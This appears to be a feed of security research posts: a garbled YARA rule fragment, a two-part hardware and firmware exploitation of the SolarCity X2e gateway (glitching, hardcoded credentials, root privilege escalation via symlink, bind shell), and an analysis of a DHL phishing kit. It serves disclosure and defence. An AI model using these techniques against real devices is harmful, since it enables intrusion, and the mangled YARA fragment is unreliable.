strings:$s1 = /if $$isset\(\_REQUEST$[\x22\x27]dwn[\x22\x27]]$$[\x09\x20]{0,32}&&[\x09\x20]{0,32}isset$$\_REQUEST\[[\x22\x27]fn[\x22\x27]$$$\)\s{0,256}\{/         $s2 = " file_idpathfile_nameuploaded_by "$s3 = ""         $s4 = ""$s5 = ""         $s6 = "target=\\\"_blank\\\">Download"$s7 = "Content-Type: application/octet-stream"         $s8 = "Content-disposition: attachment; filename=" condition: all of them } # Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part Two) 17 February 2021 at 13:00 In this post, we continue our analysis of the SolarCity ConnectPort X2e Zigbee device (referred to throughout as X2e device). In Part One, we discussed the X2e at a high level, performed initial network-based attacks, then discussed the hardware techniques used to gain a remote shell on the X2e device as a non-privileged system user. In this segment, we’ll cover how we obtained a privileged shell on the device locally using power glitching attacks, and explore CVE-2020-12878, a vulnerability we discovered that permitted remote privilege escalation to the root user. Combined with CVE-2020-9306 (discussed in Part One), this would result in a complete remote compromise of the X2e device. #### Technical Analysis ##### Recap Before we dive into next steps, let’s recap where we left off: • The X2e has an exposed universal asynchronous transmit/receive (UART) interface, which allows a physically connected user to view (but not interrupt) the Das U-Boot (U-Boot) boot process, and given proper credentials, authenticate to the Linux operating system. Since we do not have root credentials, we put this thread on the backburner. • We have a full NAND dump of the Spansion raw flash, which includes boot configuration, bootloader firmware, filesystems, and the Linux kernel image. This was used previously in Part One to obtain the hardcoded credential for the python user. Knowing that UART is present and access to the bootloader would be extremely valuable, we decided to revisit that thread. #### Gaining Privileged Access Locally ##### Revisiting the Bootloader Figure 1 shows the U-Boot boot process displayed while connected via UART connection. In some cases, it is possible to send keyboard input to the device during a set period (usually one to four seconds) when the bootloader presents the message, “Hit any key to stop autoboot,” which interrupts the boot process and drops the user into a U-Boot shell. On the X2e, this feature has been disabled by setting the U-Boot configuration parameter CONFIG_BOOTDELAY to 0. Figure 1: Uninterruptable U-Boot bootloader output One attack that has been documented to be successful to disrupt autoboot is to manipulate the bootloader’s ability to access the flash storage during the boot process. In certain circumstances where the U-Boot bootloader is unable to access its own configuration, it fails into a default environment, which may be less restricted. We decided to see if this would be possible on the X2e. These attacks, known as glitch attacks (or more officially known as fault-injection), are a type of side channel attack that attempts to cause a microcontroller unit (MCU) to skip instructions, perform wrong instructions, or fail to access flash memory. Various types of glitching attacks exist including electrical, thermal, and radiation. Based on our objective, we opted to try glitching the power between the MCU and the Spansion NAND flash. Note that glitch attacks can often cause damage to the components on a board or put the device in an unusable state. These types of attacks should be tested as either a last resort or against a secondary device you are comfortable with damaging. ##### Glitching the Bootloader Based on previous research in this domain, we opted to target the data lines (I/O) between the MCU and NAND flash. Recall from Part One that the NAND flash on the X2e was the Spansion S34ML01G1, which was a 63-pin ball grid array (BGA) package. This chip is capable of supporting both 8-bit and 16-bit bus width, which corresponds to the number of I/O lines utilized. By using the datasheet for the flash and then querying the ONFI Device ID of our chip, we determined our chip was utilizing the 8-bit configuration, meaning eight I/O lines were present between the NAND flash and the MCU. For this attack, we focused on manipulating the power on the first (I/O0) data line. Figure 2 shows the configuration of the BGA-63 pins, with I/O0 highlighted. Figure 2: Identifying I/O0 for NAND chip in the Spansion datasheet Because the pins are actually underneath the flash package, we needed to find an exposed lead that corresponded to I/O0 elsewhere on the PCB. One such method for tracing connections across a PCB is a continuity test. A continuity test (using a multimeter) sends a low current electrical signal across two points and produces an audible beep if the points are connected. Using this technique, we located an exposed test point (known as a via) on the bottom of the PCB. Figure 3 shows the I/O0 pin on the top of the PCB (under the NAND chip), and Figure 4 shows the I/O0 pin exposed on the bottom of the PCB. Figure 3: I/O0 on top of PCB (under NAND chip) Figure 4: I/O0 on bottom of PCB With exposed access to I/O0 located, we experimented with connecting this pin directly to a known ground (GND) pin at various points during the boot process. Figure 5 shows the device powering on with the metal tweezers connecting I/O0 to GND. Figure 5: Shorting I/O0 to GND While connected to the UART interface, we noted several different outcomes. When shorting the pin immediately after powering on, the device failed to produce any output or boot. When shorting after the bootloader finished loading (and handing off to the Linux kernel), the device would also force reboot. However, when timed perfectly between the bootloader loading and attempting to read its configuration, we noted that the bootloader would present different output, and the option to interrupt the boot process was possible with a four-second delay. By pressing keyboard input, we were successfully able to drop into a U-Boot shell, which is shown in Figure 6. Figure 6: Access to U-Boot bootloader shell While this was great progress, we noted that the current failback bootloader configuration was completely inoperable and certain NAND blocks had been marked as bad (as expected). To get our device back to a working state, we needed to revisit the NAND dump we generated in Part One. ##### Repairing the Bootloader Configuration While the current configuration provided us a working shell, we needed to fix the damage we had done. This was performed in two steps: fixing the mistakenly marked bad blocks and then rebuilding the configuration. In our case, the nand utility and its sub-commands read, write, and scrub allowed us to inspect and manipulate pages and blocks of the NAND. The nand scrub command with a valid offset and size could be used to completely reset a segment of the NAND, which removed any bad block markers. The next challenge was determining what needed to be replaced in the damaged blocks and rebuilding the configuration. Since we had a valid NAND image, we revisited the sections read by the bootloader to determine what changes were needed. The format did not match a known format, so we wrote a simple parser in Python to read the binary structure, shown in Figure 7. Figure 7: Parsing bootloader nvram configuration from flash With details of how the configuration should look, we used the nand write to rebuild this section, byte by byte with the correct details. We also set the boot delay to be four seconds, so that we could always interrupt the bootloader once the new configuration was committed. Once we confirmed our changes were stable, we saved the configuration to flash and could access the bootloader without performing the aforementioned glitch attack. ##### Accessing Linux as root User Now that we have unrestricted access to the bootloader, we can finally influence the rest of the boot process and achieve a privileged shell. We alluded to this in Part One, but the easiest way to turn an unlocked U-Boot shell into a root Linux shell is to adjust the boot arguments that U-Boot passes to the Linux kernel. In our case, this was accomplished by using the setenv utility to change the std_bootarg environment variable to be init=/bin/sh and instructing U-Boot to resume the standard boot process. Figure 8 shows the Linux shell presented over UART. Figure 8: root shell after bootloader At this point, we’ve demonstrated a repeatable method for achieving local privilege escalation. In the final segment, we’ll complete our attack by exploring an avenue to remotely escalate privileges. ##### Gaining Privileged Access Remotely Since the X2e has only two available listening network services, it makes sense to reinvestigate these services. During Part One, we identified hardcoded credentials for the limited user python. This was useful for initial probing of the device while it was running, but where do we go from here? Embedded devices typically only have a handful of users, with a majority of functionality being performed by the root user. This presents an interesting opportunity for us to abuse overlap between actions performed by the root user on contents owned and controlled by the python user. By reviewing the boot process, we noted a large number of custom init scripts in the /etc/init.d/ directory. These scripts are executed at system start by the root user and were responsible for starting daemons and ensuring directories or files exist. One file in particular, /etc/init.d/S50dropbear.sh, was interesting to us, as it appeared to perform a number of actions on files within the directory specified by the$PYTHON_HOME variable, which was /WEB/python/, shown in Figure 9.

Figure 9: Unsafe operations on \$PYTHON_HOME directory

At first glance this may seem benign but considering that the /WEB/python/ directory is controllable by the python user, it means that we can potentially control actions taken by root. More specifically, the chown operation is dangerous, as the previous mkdir command can fail silently and result in an unsafe chown operation. To weaponize this, we can use symbolic links to point the /WEB/python/.ssh/ to other areas of the filesystem and coerce the root process into chown’ing these files to be owned by the python user. The process we took to exploit this was as follows:

1. Authenticate over SSH using hardcoded python user credentials.
2. Create a symbolic link, /WEB/python/.ssh, that points to /etc/init.d/.
3. Reboot the X2e, forcing the system to re-execute /etc/init.d/S50dropbear.sh.
4. After boot completes, create a malicious init script in /etc/init.d/ as the python user.
5. Reboot the X2e, forcing the system to execute the new init script.

While not the cleanest approach (it requires two reboots), it accomplishes the goal of achieving code execution as root. Figure 10 shows the output of our proof of concept. In this case, our malicious init script spawned a bind shell on TCP port 8080, so that we could connect in as root.

Figure 10: Exploiting chown vulnerability to gain shell as user root

And there we have it: a remote connection as root, by abusing two separate vulnerabilities. While not explored in this series, another viable avenue of attack would be to explore potential vulnerabilities in the web server listening on TCP ports 80 and 443; however, this was not an approach that we took.

#### Conclusion

We covered a wide variety of topics in this two-part series, including:

• Physical device inspection
• Identifying and exploring physical debugging interfaces (UART)
• Chip-off techniques to remove the NAND storage
• Binary analysis of the filesystems and bootloader configurations
• Power glitch attacks against the U-Boot bootloader
• Linux user space privilege escalation

We hope that readers were able to learn from our experiences with the X2e and will be inspired to use these techniques in their own analysis. Finally, Mandiant would like to thank both Tesla/SolarCity and Digi International for their efforts to remediate these vulnerabilities and for their cooperation with releasing this blog series.

# Shining a Light on SolarCity: Practical Exploitation of the X2e IoT Device (Part One)

17 February 2021 at 13:00

In 2019, Mandiant’s Red Team discovered a series of vulnerabilities present within Digi International’s ConnectPort X2e device, which allows for remote code execution as a privileged user. Specifically, Mandiant’s research focused on SolarCity’s (now owned by Tesla) rebranded ConnectPort X2e device, which is used in residential solar installations. Mandiant performs this type of work both for research purposes and in a professional capacity for their global clients.

Mandiant collaborated with Digi International and SolarCity/Tesla to responsibly disclose the results of the research, resulting in the following two CVEs:

Technical details can be found in Digi International’s 3.2.30.6 software release, and on FireEye’s Vulnerability Disclosures GitHub project (FEYE-2020-0019 and FEYE-2020-0020).

This two-part blog series will discuss our analysis at a high level, explore the novel techniques used to gain initial access to the ConnectPort X2e device, and share the technical details of the vulnerabilities discovered. Topics to be covered will include physical device inspection, debugging interface probing, chip-off techniques, firmware analysis, glitch attacks, and software exploitation.

If you’re interested in continuing the story in Part Two, you can read it now.

#### FAQ

What devices are affected, and (potentially) how many devices are affected?

The vulnerabilities described in this post affect ConnectPort X2e devices as well as the SolarCity rebranded variant. Other vendor devices may also be vulnerable. It is unclear how many ConnectPort X2e devices are deployed in the wild.

How is the issue being addressed?

Mandiant worked independently with Digi International and Tesla to remediate the vulnerabilities. Mandiant would like to thank Digi International and Tesla for their cooperation and dedication to improving the security of their products.

How would an attacker exploit these vulnerabilities?

An attacker with local network access (such as being connected to an individual’s home network via Ethernet) to a vulnerable X2e device can exploit CVE-2020-9306 and CVE-2020-12878 to gain privileged access to the device.

Who discovered these vulnerabilities?

Jake Valletta (@jake_valletta), Sam Sabetan (@samsabetan)

More information such as videos and datasheets on Mandiant’s Embedded Device Assessments can be found here.

#### Technical Analysis

##### Device Overview

Before diving into the details, we’ll discuss the ConnectPort X2e device (referred to as X2e device throughout the post) at a high level. The X2e device is a programmable gateway that connects to and collects data from ZigBee devices. It is commonly used as a Smart Energy gateway to interpret and send energy readings from a residential Solar Inverter. Vendors will often purchase an X2e device and configure it to read power consumption generated by a customer’s Solar Inverter. Figure 1 outlines a typical residential solar installation and highlights the X2e’s role.

Figure 1: Typical X2e residential deployment

For our research, we focused on the X2e device used by SolarCity, now Tesla, to retrieve data from residential solar installations. A typical setup would involve SolarCity providing a customer with a gateway that would be connected to the Internet via an Ethernet cable on the customer’s home network. Figure 2 shows one of the SolarCity branded X2e devices that we tested.

Figure 2: X2e device

Without even plugging in the X2e device, we know of at least two separate interfaces to explore: the Ethernet interface and the ZigBee radio. Note that we did not review the ZigBee interface between the X2e and a solar invertor, and that interface will not be covered in either Part One or Part Two of this series.

#### Initial Analysis and Physical Inspection

##### Network Reconnaissance

We started our research by assessing the X2e device from a network perspective. By using nmap, we discovered that the device exposed both SSH and HTTP/HTTPS, shown in Figure 3.

Figure 3: Port scan results from the X2e

Upon accessing these services remotely, we noted that both services required authentication. We also performed limited brute force attempts, which were unsuccessful. Additionally, the underlying services were not vulnerable to any public exploits. With not many network-based leads to follow, we shifted our analysis to a hardware perspective to determine if any local attacks may be possible to gain initial access onto the device.

##### Physical Board Inspection

To begin our hardware analysis, we removed the plastic casing from the device and mapped out the various integrated circuit (IC) components and searched for potential debugging interfaces. Inventorying the components present on the circuit board (also known as a PCB) is a crucial step in understanding how the device was designed and what can be expected down the road. Figure 4 shows the mapped-out components as well as a cluster of pins that resembled a typical 3-pin universal asynchronous transmit/receive (UART) connection, a common debugging interface on embedded devices.

Figure 4: X2e components and suspicious cluster of pins

Without a remote connection to the X2e device, UART is an attractive target. UART typically provides the equivalent functionality of a service like SSH or Telnet and the added benefit of watching verbose output during system boot. To determine if the cluster of pins was a UART interface, we first soldered a 3-pin through-hole header to the PCB. Using a combination of continuity tests with a multimeter and the digital logic analyzer Saleae, it became apparent that we were in fact dealing with a UART interface. The Figure 5 shows the three pins (Ground, TX, RX) connected to the header. Attached to the other end of the three wires was a FTDI serial TTL-232 to USB adapter, which was connected to a Linux virtual machine.

Figure 5: Connecting to potential UART interface

In addition to correctly identifying the UART pins and a UART to USB adapter, we also needed software to read/write from the interface as well as knowledge of the baud rate. Baud rates vary but typically follow standard values, including 9600, 14400, 19200, 38400, 57600, and 115200. Using the python module pySerial, we connected to the USB adapter and tried standard baud rates until one of the rates produced readable ASCII output (an incorrect baud rate will typically produce non-readable output), and determined the X2e used a baud rate of 115200.

Upon booting the X2e, we noted output from the BootROM, bootloader (which was Das U-Boot 2009.8, a common embedded bootloader), as well as output from the Linux kernel transmitted over the UART connection, shown in Figure 6.

Figure 6: UART boot messages

Many configurations of U-Boot allow a physically connected user (using an interface such as UART) the ability to interrupt the boot process; however, this configuration explicitly disabled that feature, shown in Figure 7.

Figure 7: Uninterruptable U-Boot bootloader on the X2e

Interrupting a bootloader is attractive to an attacker, as often the boot parameters passed to the Linux operating system can be manipulated to control how it will load, such as booting into single user mode (typically a recover shell) or mounting filesystems as read-write. In the case of the X2e, the UART connection was mapped to a Linux TTY which required username and password authentication, shown in Figure 8.

Figure 8: User authentication to Linux over UART

Without any ability to interrupt the boot process or credentials to authenticate to the X2e, we were faced with another dead end. We then shifted our analysis to obtaining the firmware stored on the X2e’s non-volatile storage.

##### Chip Removal and Data Extraction

In this section, we’ll cover the basics of non-volatile memory, often referred to as “flash memory”, present on embedded devices as well as the process used to extract content from the chip. As mentioned, taking inventory of the components on the PCB is an important first step. Figure 9 shows the suspected flash chip present on the PCB magnified under a digital microscope.

Figure 9: Closeup of Spansion flash

The visible markings seen in Figure 9 are important as they allow us to determine the manufacturer and model of the flash, which will assist us with obtaining the datasheet for the chip. In our case, the NAND we were dealing with was a Spansion S34ML01G1, and its datasheet could be found here.

##### NAND Overview

Before we talk about acquiring the firmware from the NAND chip, it’s important to first understand the various scenarios that embedded devices typically follow.

NAND verses NOR: These fundamentally different technologies each have their own benefits and drawbacks. NAND is cheap but suffers from high probability of “bad blocks,” or areas that are corrupt sometimes directly from the factory. As such, protections and considerations need to be present to be able to protect against this. NAND is also much faster to erase and write, making it ideal for storing file systems, kernels, and other pieces of code that may need to be reset or changed. NOR has significantly faster read times but is not as flexible with accessing data and has low erase and write speeds. NOR is usually used for low-level bootloaders, hardcoded firmware blobs, and other areas that are not expected to change frequently. The X2e uses a NAND flash.

Serial verses Parallel: This refers to how the data is accessed and is typically visually identifiable. If there are a large number of pins, the flash is likely parallel. Serial NOR chips can be small in size and typically need eight or fewer pins to function. Common serial interfaces are Serial Peripheral Interface (SPI) or Inter-Integrated Circuit (I2C), while a common parallel interface for NAND is Open NAND Flash Interface (ONFI2.0, ONFI3.0). The X2e is a parallel flash.

IC Form Factor: Another visually identifiable trait—form factor (or “package”)—refers to how the chip is attached to the PCB. There is a long list of options here, but common surface-mount flash packages include small outline package (SOP), thin outline small package (TOSP), or a variant of ball grid array (*BGA). The key distinction here is SOP and TOSP expose the pins, while BGA conceals the pins under the package. The X2e is BGA63, also referred to as a 63-pin BGA package.

Managed verses Unmanaged Flash: This one is more applicable to NAND, for reasons alluded to in the NAND verses NOR section. As stated, NAND needs help to manage the integrity of the data. With unmanaged NAND, the IC reserves sections of the flash (often called “spare” area) for someone else to manage the data. This is typically implemented as either a kernel driver or an external NAND controller. Managed NAND means that the IC package includes the controller and transparently manages the data. This is extremely common in embedded devices, as either embedded MMC (eMMC) or universal flash storage (UFS). The X2e uses unmanaged flash and is controlled by the main microcontroller present on the PCB.

With the basics out of the way, we proceeded with physically removing the chip from the PCB.

##### Chip Removal

Physical chip removal is considered a destructive approach but can certainly be performed without damaging the PCB or the flash chip itself. When presented with removal of BGA packages, the two most common removal techniques are either hot air or infrared light (IR). Commercial solutions exist for both hot air and IR, but cheaper options exist with hot air removal. We opted to use hot air on the X2e.

To minimize damage to the PCB and flash, a PCB heater or oven can be used to slowly bring the entire PCB to a temperature right below the solder melting point. This will reduce the amount of time we need to focus our hot air directly onto the flash IC and help with reducing the heat dissipation into the PCB throughout the process.

One final trick that can be used to minimize nearby chips from being damaged or lost (due to the air pressure) is the use of high-heat resistant tape, commonly referred to as Kapton tape. Figure 10 shows the PCB wrapped in Kapton tape to protect nearby components.

Figure 10: High-heat resistant tape on PCB

Figure 11 shows an example setup with the X2e PCB inserted into a PCB heater, with a hot air gun suspended over the IC.

Figure 11: Hot air rework/reflow station

While using the hot air to warm the IC and surrounding areas, we gently nudged the flash to see if the solder had become molten. Once the chip appeared to be floating, we quickly removed the chip and let it cool for about 30 seconds. Figure 12 shows the IC flash removed from the PCB, with the solder still present on the BGA pads.

Figure 12: NAND removed from X2e

Before inserting the NAND into a clam-shell chip reader, the leftover solder must be removed from the flash. This can be accomplished using a soldering iron, high-quality flux, and de-soldering wick. Once removed, isopropyl alcohol and a toothbrush are highly effective at removing the leftover flux residue and cleaning the chip.

In the next section, we’ll attempt to extract the data from the NAND chip using a multi-purpose chip programmer.

##### Data Extraction

With the cleaned flash chip in hand, we can now explore options for reading the raw contents. Commercial forensic acquisition devices exist, but a quick eBay or AliExpress search will produce a multitude of generic chip readers. One such device, the XGecu Pro, supports a variety of adapters and chipsets and connects to a Windows machine using USB. It also comes with software to interface with the XGecu Pro and can even auto-detect flash. To connect the Spansion NAND to the XGecu Pro, we also purchased a clamshell BGA63 adapter. Figure 13 shows the NAND inserted into the clamshell reader, and Figure 14 shows the clamshell adapter connected to the XGecu Pro device.

Figure 13: Spansion NAND in BGA clamshell adapter

Figure 14: NAND adapter connected to XGecu

Using the XGecu Pro software, we can read the entire contents of the flash to a binary file for further analysis. Since these are not commercial solutions, it is a good idea to perform two or three reads and then diff the extraction to confirm the content was read without errors.

#### Firmware Analysis

##### Cleaning and Mounting

With our fresh NAND dump in hand, the next step was to parse out any relevant firmware blobs, configurations, or filesystems. The go-to tool for starting this process is binwalk. binwalk does a fantastic job of detecting filesystems, bootloaders, and kernels. In addition, binwalk can calculate entropy (detecting packed or encrypted data) and identify assembly opcodes. Figure 15 shows partial output of running binwalk against the NAND dump.

Figure 15: Initial binwalk scan against NAND dump

We can see from the output that binwalk successfully identified what it believes are U-Boot uImage headers, Linux kernel images, and more than a dozen Journaling Flash File System version 2 (JFFS2) filesystems. JFFS2 is a common filesystem used in embedded devices; Unsorted Block Image File System (UBIFS) and SquashFS would also be common.

At first glance, the output appears to be promising; however, it is highly unlikely that there are actually that many JFFS2 filesystems present on our NAND. Another indication that something isn’t quite right are the hexadecimal offsets – they don’t appear to be clean, uniform offsets. It is far more common that the offsets of the items identified by binwalk would align with NAND page offsets, which are a multiple of 2048.

In order to understand what is occurring here, we need to revisit a characteristic of unmanaged (or “raw”) NAND ICs described in the NAND Overview section. To recap, raw NAND requires additional bytes per page for use by higher-level components to attest to the validity of the page, typically implemented as a defined “bad block” marker and a per-page (or subpage) Error-Correcting Code (ECC). Without going too deep into ECC fundamentals, ECC provides the ability for higher-level processes to detect n number of bad bits on a page and to correct m number of bits.

Since our goal here is not to perform forensics on the raw NAND, our immediate objective is to remove any ECC bytes or other non-data related bytes from the NAND dump. The MCU is ultimately the system manipulating the raw NAND, so understanding how our MCU, which was an NXP iMX28 series MCU, manages NAND is critical to being able to perform this.

Fortunately for us, this process has already been explored by the security community, and iMX parsing libraries exist to manipulate the raw NAND dump and remove existing extraneous data. Figure 16 shows the results of re-running binwalk on the output of the imx-nand-convert script.

Figure 16: binwalk scan of fixed NAND dump

This time, we see only one JFFS2 filesystem, at the very round offset of 0x880000. Using the extraction (-e) feature of binwalk, we can now obtain parsed versions of the U-Boot bootloader, Linux kernel, and JFFS2 system.

The final hurdle we need to overcome is mounting the extracted JFFS2 filesystem in a way that allows us to explore the contents. On Linux, the easiest way to perform this is to use the mtd, mtdblock, and nandsim kernel modules. The nandsim module simulates a given NAND device and uses the mtd and JFFS2 subsystems to parse and manage appropriately. The key piece of information that needs to be passed to the nandsim module is the ONFI chip identifier, which can be obtained from the NAND datasheet or by requesting the ID from the IC using a generic reader (like the XGecu Pro used in the Data Extraction section). A list of supported IDs is also provided by the mtd maintainers. Getting the parameters correct is a bit of luck and magic and may require you to compile your own version of the nandsim module; that process will not be covered in this post.

Figure 17 shows the steps required to simulate the correct Spansion NAND and mount the JFFS2 filesystem in the form of a Makefile target.

Figure 17: Makefile target to mount JFFS2 filesystem

By running make mount-jffs2, we can quickly prep and mount the JFFS2 filesystem and explore the contents as we would any filesystem.

##### Accessing the Filesystem

In the last section of this post, we’ll walk through our analysis of the JFFS2 filesystem. Remember that our end goal is to obtain a remotely exploitable bug that will permit privileged code execution. With that in mind, some areas of interest are running daemons/processes, system startup logic, and credentials for services listening on the network. The first stop was reviewing the /etc/shadow file to see if there were password hashes for the root user as well as other system users. A quick check of this file determined there was no password hash for the root user, which indicated we would not be able to authenticate using password authentication. We noticed that two other password hashes were present, for the addpd and python users, shown in Figure 18.

The addpd user had a weak default password but was unable to authenticate using remote methods, and we were ultimately unable to crack the python user’s hash using internal GPU-based servers.

Additionally, we were interested in processes that are launched during system boot or post-boot. The directory /WEB/python/ contained a ZIP archive called _x2e.zip, which contained over 200 compiled Python scripts (PYC files), which were loaded on system boot. Using the decompiler uncompyle2, we unpacked these files for review. One file that stood out by name was password_manager.pyc, a file used to reset the login password upon successful boot-up. The file contained five hardcoded and plaintext credentials that mapped to the python system user. These credentials could be used to access the web interface and SSH, shown in Figure 19. Mandiant confirmed different passwords were used for different versions and connectivity states. Mandiant reported this to SolarCity and was assigned the CVE number CVE-2020-9306.

Figure 19: Hardcoded credentials in password_manager.pyc

With the correct password, we were finally able to connect to the web and SSH ports on a running X2e, but unfortunately only as the less-privileged python system user. While this was a great start, it didn’t satisfy our final objective, which was to remotely compromise the X2e as a privileged user. In Part Two of this blog series, we will explore additional avenues to further compromise the X2e.

#### Conclusion

In Part One of this two-part blog series, we covered an overview of the X2e, our initial network-based reconnaissance, PCB inspection techniques, physical debugging interface probing, chip-off techniques, and firmware analysis. Using these methodologies, we were successfully able to remotely compromise the X2e device as a non-administrative user due to hardcoded credentials (CVE-2020-9306). In Part Two, we will re-investigate physical attacks against the X2e in the form of glitch attacks, re-explore the U-Boot bootloader, and finally demonstrate an attack to remotely compromise the X2e device as a privileged user.

To continue reading, check out Part Two now

# Phishing Campaign Leverages WOFF Obfuscation and Telegram Channels for Communication

26 January 2021 at 20:45

FireEye Email Security recently encountered various phishing campaigns, mostly in the Americas and Europe, using source code obfuscation with compromised or bad domains. These domains were masquerading as authentic websites and stole personal information such as credit card data. The stolen information was then shared to cross-platform, cloud-based instant messaging applications.

Coming off a busy holiday season with a massive surge in deliveries, this post highlights a phishing campaign involving a fake DHL tracking page. While phishing attacks targeting users of shipping services is not new, the techniques used in these examples are more complex than what would be found in an off-the-shelf phishing kit.

This campaign uses a WOFF-based substitution cypher, localization specific targeting, and various evasion techniques which we unravel here in this blog.

#### Attack Flow

The attack starts with an email imitating DHL, as seen in Figure 1. The email tries to trick the recipient into clicking on a link, which would take them to a fake DHL website. In Figure 2, we can see the fake page asking for credit card details that, if submitted, would give the user a generic response while in the background the credit card data is shared with the attackers.

Figure 1: DHL phishing attempt

Figure 2: Fake website imitating DHL tracking

This DHL phishing campaign uses a rare technique for obfuscating its source page. The page source contains proper strings, valid tags, and appropriate formatting, but contains encoded text that would render gibberish without decoding prior to loading the page, as seen in Figure 3. Typically, decoding such text is done by including script functions within the code. Yet in this case, the decoding functions are not contained in the script.

Figure 3: Snippet of the encoded text on page source

The decoding is done by a Web Open Font Format (WOFF) font file, which happens upon loading the page in a browser and will not be visible in the page content itself. Figure 4 shows the substitution cipher method and the WOFF font file. The attacker does this to evade detection by security vendors. Many security vendors use static or regex signature-based rules, so this method will break those naïve-based conditions.

Figure 4: WOFF substitution cipher

Loading this custom font which decodes the text is done inside the Cascading Style Sheets (CSS). This technique is rare as JavaScript functions are traditionally used to encrypt and decrypt HTML text.

Figure 5 shows the CSS file used to load the WOFF font file. We have also seen the same CSS file, style.css, being hosted on the following domains:

• hxxps://www.lifepointecc[.]com/wp-content/sinin/style.css
• hxxps://candyman-shop[.]com/auth/DHL_HOME/style.css
• hxxps://mail.rsi-insure[.]com/vendor/ship/dhexpress/style.css
• hxxps://www.scriptarticle[.]com/thro/HOME/style.css

These legitimate-looking domains are not hosting any phishing websites as of now; instead, they appear to be a repository for attackers to use in their phishing campaigns. We have seen similar phishing attacks targeting the banking sector in the past, but this is newer for delivery websites.

#### Notable Techniques

##### Localization

The phishing page displays the local language based on the region of the targeted user. The localization code (Figure 6) supports major languages spoken in Europe and the Americas such as Spanish, English, and Portuguese.

Figure 6: Localization code

The backend contains PHP resource files for each supported language (Figure 7), which are picked up dynamically based on the user’s IP address location.

Figure 7: Language resource files

##### Evasion

This campaign employs a variety of techniques to evade detection. This will not serve up a phishing page if the request came from certain blocked IP addresses. The backend code (Figure 8) served the users with a "HTTP/1.1 403 Forbidden" response header under the following conditions:

• IP has been seen five times (AntiBomb_User func)
• IP host resolves to its list of avoided host names ('google', 'Altavista', 'Israel', 'M247', 'barracuda', 'niw.com.au' and more) (AntiBomb_WordBoot func)
• IP is on its own local blocklist csv (x.csv in the kit) (AntiBomb_Boot func)
• IP has seen POSTing three times (AntiBomb_Block func)

Figure 8: Backend evasion code

After looking at the list of blocked hosts, we could deduce that the attackers were trying to block web crawlers.

##### Data Theft

The attackers behind this phishing campaign attempted to steal credentials, credit card data, and other sensitive information. The stolen data is sent to email addresses and Telegram channels controlled by the attacker. We uncovered a Telegram channel where data is being sent using the Telegram Bot API shown in Figure 9.

Figure 9: Chat log

While using php mail() function to send stolen credentials is quite common, in the near past, encrypted instant messaging applications such as Telegram have been used for sending phished information back to command and control servers.

We were able to access one of the Telegram channels controlled by the attacker as shown in Figure 10. The sensitive information being sent in the chat includes IP addresses and credit card data.

Figure 10: Telegram channel with stolen information

#### Conclusion

Attackers (and especially phishers) are always on the hunt for new ways to evade detection by security products. Obfuscation gives the attackers an edge, and makes it harder for security vendors to protect their customers.

By using instant messaging applications, attackers get user data in real time and victims have little to respond once their personal information is compromised.

#### Indicators of Compromise (IOC)

FireEye Email Security utilizing FAUDE (FireEye Advanced URL Detection Engine) protects customers from these types of phishing threats. Unlike traditional anti-phishing techniques dependent on static inspection of phishing URL content, FAUDE uses multiple artificial intelligence (AI) and machine learning (ML) engines to more effectively thwart these attacks.

From December 2020 until the time of posting, our FAUDE detection engine saw more than 100 unique URLs hosting DHL phishing pages with obfuscated source code, including:

• hxxps://bit[.]ly/2KJ03RH
• hxxps://greencannabisstore[.]com/0258/redirect-new.php
• hxxps://directcallsolutions[.]co[.]za/CONTACT/DHL_HOME/
• hxxp://r.cloudcyberlink[.]digital/<path> (multiple paths using same domain)